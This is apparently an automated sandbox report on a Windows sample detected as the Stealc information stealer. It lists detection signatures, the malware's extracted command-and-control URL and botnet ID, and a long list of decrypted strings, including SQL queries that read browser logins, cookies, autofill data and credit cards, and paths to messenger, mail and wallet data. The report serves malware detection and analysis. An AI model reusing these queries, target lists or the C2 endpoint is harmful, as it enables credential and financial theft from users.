Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1545915
MD5:6b2b5a158403acb7ba15c52a59282cab
SHA1:dae583617b2057015ff1c7ada6d9bf6c0e262481
SHA256:f7bbc837510990dd6831eb9ab92b7fe5d9238f105ea9690bdf5808dc0e5cfbbf
Tags:exeuser-Bitsight
Infos:

Detection

Stealc
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Found malware configuration
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create guard pages, often used to hinder reverse engineering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Program does not show much activity (idle)
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 5952 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6B2B5A158403ACB7BA15C52A59282CAB)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
StealcStealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Stealc_1Yara detected StealcJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpJoeSecurity_StealcYara detected StealcJoe Security
      00000000.00000003.2037496917.0000000005190000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
        00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
          Process Memory Space: file.exe PID: 5952JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
            Process Memory Space: file.exe PID: 5952JoeSecurity_StealcYara detected StealcJoe Security
              Click to see the 1 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              0.2.file.exe.cd0000.0.unpackJoeSecurity_StealcYara detected StealcJoe Security

                Sigma Signatures

                ⊘No Sigma rule has matched

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-31T10:15:02.495046+010020442431Malware Command and Control Activity Detected192.168.2.549704185.215.113.20680TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: file.exeAvira: detected
                Found malware configuration
                Source: 0.2.file.exe.cd0000.0.unpackMalware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: file.exeJoe Sandbox ML: detected
                Sample uses string decryption to hide its real strings
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: INSERT_KEY_HERE
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 30
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 11
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 20
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 24
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetProcAddress
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: LoadLibraryA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: lstrcatA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: OpenEventA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateEventA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CloseHandle
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Sleep
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetUserDefaultLangID
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: VirtualAllocExNuma
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: VirtualFree
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetSystemInfo
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: VirtualAlloc
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HeapAlloc
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetComputerNameA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: lstrcpyA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetProcessHeap
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetCurrentProcess
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: lstrlenA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ExitProcess
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GlobalMemoryStatusEx
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetSystemTime
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SystemTimeToFileTime
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: advapi32.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: gdi32.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: user32.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: crypt32.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ntdll.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetUserNameA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateDCA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetDeviceCaps
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ReleaseDC
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CryptStringToBinaryA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sscanf
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: VMwareVMware
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HAL9TH
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: JohnDoe
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DISPLAY
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %hu/%hu/%hu
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: http://185.215.113.206
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: bksvnsj
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: /6c4adf523b719729.php
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: /746f34465cf17784/
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: tale
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetEnvironmentVariableA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetFileAttributesA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GlobalLock
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HeapFree
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetFileSize
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GlobalSize
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateToolhelp32Snapshot
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: IsWow64Process
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Process32Next
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetLocalTime
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: FreeLibrary
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetTimeZoneInformation
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetSystemPowerStatus
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetVolumeInformationA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetWindowsDirectoryA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Process32First
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetLocaleInfoA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetUserDefaultLocaleName
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetModuleFileNameA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DeleteFileA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: FindNextFileA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: LocalFree
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: FindClose
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SetEnvironmentVariableA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: LocalAlloc
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetFileSizeEx
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ReadFile
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SetFilePointer
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: WriteFile
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateFileA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: FindFirstFileA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CopyFileA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: VirtualProtect
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetLogicalProcessorInformationEx
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetLastError
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: lstrcpynA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: MultiByteToWideChar
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GlobalFree
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: WideCharToMultiByte
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GlobalAlloc
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: OpenProcess
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: TerminateProcess
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetCurrentProcessId
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: gdiplus.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ole32.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: bcrypt.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: wininet.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: shlwapi.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: shell32.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: psapi.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: rstrtmgr.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateCompatibleBitmap
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SelectObject
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BitBlt
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DeleteObject
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateCompatibleDC
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdipGetImageEncodersSize
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdipGetImageEncoders
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdipCreateBitmapFromHBITMAP
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdiplusStartup
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdiplusShutdown
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdipSaveImageToStream
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdipDisposeImage
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GdipFree
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetHGlobalFromStream
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CreateStreamOnHGlobal
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CoUninitialize
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CoInitialize
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CoCreateInstance
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BCryptGenerateSymmetricKey
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BCryptCloseAlgorithmProvider
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BCryptDecrypt
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BCryptSetProperty
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BCryptDestroyKey
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: BCryptOpenAlgorithmProvider
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetWindowRect
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetDesktopWindow
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetDC
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CloseWindow
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: wsprintfA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: EnumDisplayDevicesA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetKeyboardLayoutList
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CharToOemW
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: wsprintfW
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RegQueryValueExA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RegEnumKeyExA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RegOpenKeyExA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RegCloseKey
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RegEnumValueA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CryptBinaryToStringA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CryptUnprotectData
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SHGetFolderPathA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ShellExecuteExA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: InternetOpenUrlA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: InternetConnectA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: InternetCloseHandle
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: InternetOpenA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HttpSendRequestA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HttpOpenRequestA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: InternetReadFile
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: InternetCrackUrlA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: StrCmpCA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: StrStrA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: StrCmpCW
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: PathMatchSpecA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: GetModuleFileNameExA
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RmStartSession
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RmRegisterResources
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RmGetList
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: RmEndSession
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_open
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_prepare_v2
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_step
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_column_text
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_finalize
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_close
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_column_bytes
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3_column_blob
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: encrypted_key
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: PATH
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: C:\ProgramData\nss3.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: NSS_Init
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: NSS_Shutdown
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: PK11_GetInternalKeySlot
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: PK11_FreeSlot
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: PK11_Authenticate
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: PK11SDR_Decrypt
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: C:\ProgramData\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT origin_url, username_value, password_value FROM logins
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: browser:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: profile:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: url:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: login:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: password:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Opera
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: OperaGX
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Network
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: cookies
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: .txt
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: TRUE
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: FALSE
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: autofill
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT name, value FROM autofill
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: history
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT url FROM urls LIMIT 1000
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: cc
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: name:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: month:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: year:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: card:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Cookies
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Login Data
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Web Data
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: History
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: logins.json
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: formSubmitURL
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: usernameField
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: encryptedUsername
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: encryptedPassword
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: guid
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT fieldname, value FROM moz_formhistory
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SELECT url FROM moz_places LIMIT 1000
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: cookies.sqlite
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: formhistory.sqlite
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: places.sqlite
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: plugins
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Local Extension Settings
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Sync Extension Settings
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: IndexedDB
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Opera Stable
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Opera GX Stable
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: CURRENT
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: chrome-extension_
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: _0.indexeddb.leveldb
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Local State
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: profiles.ini
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: chrome
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: opera
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: firefox
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: wallets
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %08lX%04lX%lu
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ProductName
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: x32
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: x64
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %d/%d/%d %d:%d:%d
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ProcessorNameString
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DisplayName
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DisplayVersion
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Network Info:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - IP: IP?
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Country: ISO?
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: System Summary:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - HWID:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - OS:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Architecture:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - UserName:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Computer Name:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Local Time:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - UTC:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Language:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Keyboards:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Laptop:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Running Path:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - CPU:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Threads:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Cores:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - RAM:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - Display Resolution:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: - GPU:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: User Agents:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Installed Apps:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: All Users:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Current User:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Process List:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: system_info.txt
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: freebl3.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: mozglue.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: msvcp140.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: nss3.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: softokn3.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: vcruntime140.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Temp\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: .exe
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: runas
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: open
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: /c start
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %DESKTOP%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %APPDATA%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %LOCALAPPDATA%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %USERPROFILE%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %DOCUMENTS%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %PROGRAMFILES%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %PROGRAMFILES_86%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: %RECENT%
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: *.lnk
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: files
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \discord\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Local Storage\leveldb\CURRENT
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Local Storage\leveldb
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Telegram Desktop\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: key_datas
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: D877F783D5D3EF8C*
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: map*
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: A7FDF864FBC10B77*
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: A92DAA6EA6F891F2*
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: F8806DD0C461824F*
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Telegram
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Tox
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: *.tox
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: *.ini
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Password
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 00000001
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 00000002
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 00000003
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: 00000004
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Outlook\accounts.txt
